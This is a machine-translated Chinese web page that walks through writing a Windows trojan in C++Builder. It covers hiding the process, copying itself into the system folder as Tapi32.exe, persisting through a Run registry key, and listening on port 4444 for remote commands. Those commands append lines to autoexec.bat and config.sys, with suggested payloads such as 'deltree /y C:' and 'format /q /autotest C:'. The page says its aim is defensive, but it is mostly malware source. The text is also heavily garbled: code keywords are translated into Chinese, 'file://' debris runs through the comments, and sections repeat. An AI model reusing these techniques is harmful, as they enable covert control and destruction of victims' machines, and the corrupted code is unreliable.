當前位置:編程學習大全網 - 源碼下載 - 妳好!大師們,如何制作特洛伊馬?

妳好!大師們,如何制作特洛伊馬?

每個人都熟悉特洛伊馬這個術語。自1998年“拜死牛”黑客組織公布Back Orifice以來,特洛伊馬如平地驚雷,讓生長在Dos——Windows時代的中國網民從網絡的繽紛夢境中清醒過來,終於意識到網絡也有其邪惡的壹面,壹時間人心惶惶。

當時在《計算機新聞》上看到壹篇文章,大意是壹個菜鳥被博控制了,嚇得整天吃不下飯,睡不著覺,不能上網,到處求助!要知道,特洛伊歷史悠久:早在& amp;T Unix和BSD Unix非常流行。特洛伊馬是壹些玩程序(主要是C)水平很高的年輕人(主要是美國人)用C或Shell語言寫的,基本上是用來盜取登錄主機的密碼,以獲取更高的權限。當時,特洛伊馬的主要方法是欺騙——首先修改妳的。檔案文件和植入特洛伊馬;登錄時,將輸入的密碼字符保存到壹個文件中,並以電子郵件的形式發送到攻擊者的郵箱中。中國的年輕人大多是在盜版Dos的影響下長大的,所以對互聯網比較陌生。直到Win9x的誕生,尤其是WinNt的普及,極大的推動了網絡行業的發展,以三年後的視角看起來有些簡單甚至粗糙的BO(甚至在Win9x的“關閉程序”對話框中可以看到過程),給了當時的國人極大的震撼,可以說是中國網絡安全劃時代的軟件。

寫妳自己的特洛伊馬聽起來很酷,不是嗎?!特洛伊馬必須由兩部分組成——服務器程序和客戶端程序。服務器負責打開攻擊的途徑,就像間諜壹樣。客戶端負責攻擊目標,他們需要壹定的網絡協議進行通信(壹般是TCP/IP協議)。為了讓大家更好的了解特洛伊馬攻擊技術,擺脫特洛伊馬的神秘感,我簡單說壹下寫特洛伊馬的技術,順便寫壹個特洛伊馬的例子,讓大家更好的防範和查殺各種已知和未知的木馬。

首先是編程工具的選擇。目前比較流行的開發工具有C++Builder、VC、VB、Delphi,這裏我們選擇C++Builder(以下簡稱BCB);雖然VC不錯,但是GUI設計太復雜,為了更好的突出我的例子,集中講解特洛伊馬的基本原理,我們選擇了可視化BCB;;Delphi也不錯,但缺陷是不能繼承現有資源(比如“死牛崇拜”黑客團體公布的BO2000源代碼是VC寫的,網上隨處可見);VB,別提了——妳不是給受害者壹個1兆的動態鏈接library-Msvbvm60.dll嗎?

啟動C++Builder 5.0企業版,新建壹個項目,添加三個VCL控件:壹個是Internet頁面中的Server Socket,另外兩個是Fastnet頁面中的NMFTP和NMSMTP。服務器套接字的作用就是讓這個程序成為壹個服務器程序,可以對外服務(給攻擊者打開大門)。Socket最早出現在Unix上,後來微軟將其引入Windows(包括Win98和WINNT)。後兩個控件用於使程序具有FTP(文件傳輸協議)和SMTP(簡單郵件傳輸協議)功能。眾所周知,它們是讓軟件具備上傳下載功能和發送郵件的控件。

形態形態可見,當然不可思議。不僅占用空間很大(光壹個表單就有300K那麽大),還會讓軟件可見,根本沒什麽效果。所以實際寫特洛伊馬的時候,可以用壹些技巧讓程序不包含表單,就像Delphi用進程實現的小程序壹般只有17K左右。

我們應該首先使我們的程序隱形。雙擊該表單。首先,在FormCreate事件中添加可以隱藏Win9x的關閉程序對話框中的特洛伊的代碼。這看起來很神秘,但實際上,它只是壹個名為Service的後臺進程,可以以更高的優先級運行,可以說是非常接近系統核心的設備驅動之壹。所以我們只需要用RegisterServiceProcess()函數在進程數據庫中註冊我們的程序為服務進程即可。但是,這個函數的聲明不在Borland預先打包的頭文件中,所以我們必須自己在KERNEL32.DLL中聲明這個bird函數。

首先判斷目標機的操作系統是Win9x還是WinNt:

{

DWORD dw version = GetVersion();

//獲取操作系統的版本號

if(dw version & gt;= 0x80000000)

//操作系統是Win9x,不是WinNt。

{

typedef DWORD(CALLBACK * LPREGISTERSERVICEPROCESS)(DWORD,DWORD);

//定義RegisterServiceProcess()函數的原型。

HINSTANCE hDLL

LPREGISTERSERVICEPROCESS LPREGISTERSERVICEPROCESS;

hDLL = LoadLibrary(" kernel 32 ");

//加載RegisterServiceProcess()函數所在的動態鏈接庫KERNEL32.DLL。

lpRegisterServiceProcess =(lpRegisterServiceProcess)GetProcAddress(hDLL," RegisterServiceProcess ");

//獲取RegisterServiceProcess()函數的地址。

lpRegisterServiceProcess(GetCurrentProcessId(),1);

//執行RegisterServiceProcess()函數隱藏該進程。

免費圖書館(hDLL);

//卸載動態鏈接庫

}

}

所以我終於可以隱身了(我敲了這麽多代碼!)。為什麽要評判操作系統?因為WinNt中的進程管理器對當前進程壹目了然,所以在WinNt下不壹定要用上面的代碼(但是可以用其他方法,這個後面會講到)。

然後將自己復制到%System%目錄,例如C:\Windows\System,並修改註冊表,使其在啟動時自動加載:

{

char TempPath[MAX _ PATH];

//定義壹個變量

GetSystemDirectory(TempPath,MAX _ PATH);

//TempPath是系統目錄緩沖區的地址,MAX_PATH是緩沖區的大小,從而得到目標機器的系統目錄路徑。

system path = ansi string(TempPath);

//格式化TempPath字符串,使其成為編譯器可以使用的樣式。

CopyFile(ParamStr(0))。c_str(),ansi string(system path+" \ \ tapi 32 . exe ")。c_str(),FALSE);

//將自己復制到%System%目錄,重命名為Tapi32.exe,偽裝自己。

Registry = new TRegistry

//定義壹個TRegistry對象,準備修改註冊表。這壹步至關重要。

註冊表-& gt;RootKey = HKEY _ LOCAL _ MACHINE

//設置主鍵為HKEY_LOCAL_MACHINE。

註冊表-& gt;OpenKey("軟件\\微軟\ \視窗\ \

CurrentVersion\\Run”,TRUE);

//打開鍵值Software \ \ Microsoft \ \ Windows \ \ Current Version \ \ Run,如果不存在就創建。

嘗試

{

//如果下面的語句異常,跳轉到catch,避免程序崩潰。

if(註冊表-& gt;ReadString("crossbow ")!=SystemPath+"\\Tapi32.exe ")

註冊表-& gt;WriteString("crossbow ",system path+" \ \ tapi 32 . exe ");

//查找是否有帶“crossbow”字樣的鍵值,是否是復制的目錄% %System%+Tapi32.exe

//如果沒有,寫上面的鍵值和內容。

}

接住(...)

{

//如果有錯誤,什麽都不做。

}

}

好了,FormCreate進程完成,這樣Tapi32.exe每次啟動都能自動加載,在“關閉程序”對話框看不到進程,出現了特洛伊馬的雛形。

然後選中ServerSocket控件,在左邊的對象檢查器中把Active改為true,這樣程序啟動時就會打開壹個特定的端口,處於服務器的工作狀態。然後填寫端口4444,這是特洛伊馬的端口號。當然也可以用別的。但是妳要註意不要使用1024以下的低端端口,因為它不僅可能和基礎網絡協議使用的端口沖突,而且很容易被發現,所以盡量使用1024以上的高端端口(但是也有壹種技術是故意使用特定的端口,因為如果引起沖突的話Windows不會報錯_)。可以看壹下TNMFTP控制使用的端口,是端口21,是FTP協議的專用控制端口。同樣,TNMSMTP的端口25也是SMTP協議的專用端口。

再次選擇ServerSocket控件,單擊“事件”頁面,雙擊OnClientRead事件,然後鍵入以下代碼:

{

FILE * fp = NULL

char *內容;

int times _ of _ try

char TempFile[MAX _ PATH];

//定義壹堆以後要用的變量。

sprintf(臨時文件,“%s%2

首先是編程工具的選擇。目前比較流行的開發工具有C++Builder、VC、VB、Delphi,這裏我們選擇C++Builder(以下簡稱BCB);雖然VC不錯,但是GUI設計太復雜,為了更好的突出我的例子,集中講解特洛伊馬的基本原理,我們選擇了可視化BCB;;Delphi也不錯,但缺陷是不能繼承現有資源(比如“死牛崇拜”黑客團體公布的BO2000源代碼是VC寫的,網上隨處可見);VB,別提了——妳不是給受害者壹個1兆的動態鏈接library-Msvbvm60.dll嗎?

啟動C++Builder 5.0企業版,新建壹個項目,添加三個VCL控件:壹個是Internet頁面中的Server Socket,另外兩個是Fastnet頁面中的NMFTP和NMSMTP。服務器套接字的作用就是讓這個程序成為壹個服務器程序,可以對外服務(給攻擊者打開大門)。Socket最早出現在Unix上,後來微軟將其引入Windows(包括Win98和WINNT)。後兩個控件用於使程序具有FTP(文件傳輸協議)和SMTP(簡單郵件傳輸協議)功能。眾所周知,它們是讓軟件具備上傳下載功能和發送郵件的控件。

形態形態可見,當然不可思議。不僅占用空間很大(光壹個表單就有300K那麽大),還會讓軟件可見,根本沒什麽效果。所以實際寫特洛伊馬的時候,可以用壹些技巧讓程序不包含表單,就像Delphi用進程實現的小程序壹般只有17K左右。

我們應該首先使我們的程序隱形。雙擊該表單。首先,在FormCreate事件中添加可以隱藏Win9x的關閉程序對話框中的特洛伊的代碼。這看起來很神秘,但實際上,它只是壹個名為Service的後臺進程,可以以更高的優先級運行,可以說是非常接近系統核心的設備驅動之壹。所以我們只需要用RegisterServiceProcess()函數在進程數據庫中註冊我們的程序為服務進程即可。但是,這個函數的聲明不在Borland預先打包的頭文件中,所以我們必須自己在KERNEL32.DLL中聲明這個bird函數。

首先判斷目標機的操作系統是Win9x還是WinNt:

{

DWORD dw version = GetVersion();

//獲取操作系統的版本號

if(dw version & gt;= 0x80000000)

//操作系統是Win9x,不是WinNt。

{

typedef DWORD(CALLBACK * LPREGISTERSERVICEPROCESS)(DWORD,DWORD);

file://definite/semantic RegisterServiceProcess()函數的原型

HINSTANCE hDLL

LPREGISTERSERVICEPROCESS LPREGISTERSERVICEPROCESS;

hDLL = LoadLibrary(" kernel 32 ");

file://Add/Load RegisterServiceProcess()函數所在的動態鏈接庫KERNEL32.DLL。

lpRegisterServiceProcess =(lpRegisterServiceProcess)GetProcAddress(hDLL," RegisterServiceProcess ");

File:// get/go到RegisterServiceProcess()函數的地址。

lpRegisterServiceProcess(GetCurrentProcessId(),1);

file://execute/line RegisterServiceProcess()函數來隱藏這個進程。

免費圖書館(hDLL);

File:// Unload/Load動態鏈接庫

}

}

所以我終於可以隱身了(我敲了這麽多代碼!)。為什麽要評判操作系統?因為WinNt中的進程管理器對當前進程壹目了然,所以在WinNt下不壹定要用上面的代碼(但是可以用其他方法,這個後面會講到)。然後將自己復制到%System%目錄,例如:

C:\Windows\System,並修改註冊表,使其在啟動時自動加載:

{

char TempPath[MAX _ PATH];

file://defines/表示壹個變量。

GetSystemDirectory(TempPath,MAX _ PATH);

File://TempPath/是系統目錄緩沖區的地址,MAX_PATH是緩沖區的大小,從而得到目標機器的系統目錄路徑。

system path = ansi string(TempPath);

file://case/格式化TempPath字符串,使其成為編譯器可以使用的樣式。

CopyFile(ParamStr(0))。c_str(),ansi string(system path+" \ \ tapi 32 . exe ")。c_str(),FALSE);

File:// Copy/yourself到%System%目錄,重命名為Tapi32.exe,並偽裝它。

Registry = new TRegistry

file://define/定義註冊表對象並準備修改註冊表。這壹步至關重要。

註冊表-& gt;RootKey = HKEY _ LOCAL _ MACHINE

file://Set/將主鍵設置為HKEY_LOCAL_MACHINE。

註冊表-& gt;OpenKey("軟件\ \微軟\ \ Windows \ \當前版本\ \運行",TRUE);

File:// type/open鍵值software \ \ Microsoft \ \ Windows \ \ Current version \ \ Run,如果不存在,創建它。

嘗試

{

file://If/如果下面的語句異常,跳轉到catch,避免程序崩潰。

if(註冊表-& gt;ReadString("crossbow ")!=SystemPath+"\\Tapi32.exe ")

註冊表-& gt;WriteString("crossbow ",system path+" \ \ tapi 32 . exe ");

File://檢查是否有帶“crossbow”字樣的鍵值,是否是復制的目錄% %System%+Tapi32.exe

File://如果/如果沒有,寫上面的鍵值和內容。

}

接住(...)

{

file://If/如果有錯誤,什麽都不做。

}

}

好了,FormCreate進程完成,這樣Tapi32.exe每次啟動都能自動加載,在“關閉程序”對話框看不到進程,出現了特洛伊馬的雛形。

然後選中ServerSocket控件,在左邊的對象檢查器中把Active改為true,這樣程序啟動時就會打開壹個特定的端口,處於服務器的工作狀態。然後填寫端口4444,這是特洛伊馬的端口號。當然也可以用別的。但是妳要註意不要使用1024以下的低端端口,因為它不僅可能和基礎網絡協議使用的端口沖突,而且很容易被發現,所以盡量使用1024以上的高端端口(但是也有壹種技術是故意使用特定的端口,因為如果引起沖突的話Windows不會報錯_)。可以看壹下TNMFTP控制使用的端口,是端口21,是FTP協議的專用控制端口。同樣,TNMSMTP的端口25也是SMTP協議的專用端口。

再次選擇ServerSocket控件,單擊“事件”頁面,雙擊OnClientRead事件,然後鍵入以下代碼:

{

FILE * fp = NULL

char *內容;

int times _ of _ try

char TempFile[MAX _ PATH];

File://定義/定義壹堆以後要用的變量。

sprintf(TempFile," %s ",ansi string(system path+ansi string(" \ \ win 369。BAT”))。c _ str());

File://在%System%下創建壹個文本文件Win369.bat,用作臨時文件。

ansi ssing temp = Socket-& gt;receive text();

file://Receive/接收客戶端(攻擊者,也就是妳自己)的數據。

}

好了,門開了!然後就是修改目標機的各種配置!_首先,我們來修改Autoexec.bat和Config.sys:

{

如果(溫度。SubString(0,9)=="edit conf ")

File://如果收到的字符串的前9個字符是“edit conf”。

{

int number=temp長度();

file://get/獲取字符串的長度。

int file_name=atoi((temp。子串(11,1))。c _ str());

File://將/的65438th+065438th+0字符轉換為整數類型,存儲在file_name變量中。

File://為什麽要取11字符,因為10字符是空格字符?

內容=(溫度。SubString(12,數字-11)+'\n ')。c _ str();

file://Yu/下的字符串將作為寫入內容寫入目標文件。

FILE * fp = NULL

字符文件名[20];

chmod("c:\\autoexec.bat ",S _ IREAD | S _ IWRITE);

chmod("c:\\config.sys ",S _ IREAD | S _ IWRITE);

File://將/兩個目標文件的屬性更改為可讀和可寫。

if(文件名==1)

sprintf(文件名," %s "," c:\ \ autoexec . bat ");

File://如果11字符是1,請將Autoexec.bat格式化

else if(文件名==2)

sprintf(文件名," %s "," c:\ \ config . sys ");

File://如果11字符是1,則格式化Config.sys

times _ of _ try = 0;

文件://確定/語義計數器

while(fp==NULL)

{

file://If/如果指針為空。

fp=fopen(文件名,“a+”);

file://If/如果文件不存在,則創建它。如果存在,準備在它後面添加。

File://如果/有錯誤,則文件指針為空,所以會重復。

times _ of _ try = times _ of _ try+1;

文件://計數器/計數器加1

if(嘗試次數& gt100)

{

file://If/如果妳嘗試了100次,還是沒有成功。

套接字-& gt;SendText("打開文件失敗");

File://發送回錯誤消息“打開文件失敗”

轉到結尾;

file://Jump/到結尾

}

}

fwrite(content,sizeof(char),strlen(content),FP);

File:// Write/enter添加的語句,比如deltree/y C:或者format/q/autotest C:,夠毒嗎?!

fclose(FP);

File://寫入/後關閉目標文件

套接字-& gt;send text(" success ");

file://然而/之後,發回“成功”的成功消息

}

}

現在可以通過網絡在目標機器上查看這兩個文件,還可以隨意給它們添加任何命令。

  • 上一篇:求壹篇以“投鼠忌器”為題的議論文
  • 下一篇:那裏能看最新電影網站
  • copyright 2024編程學習大全網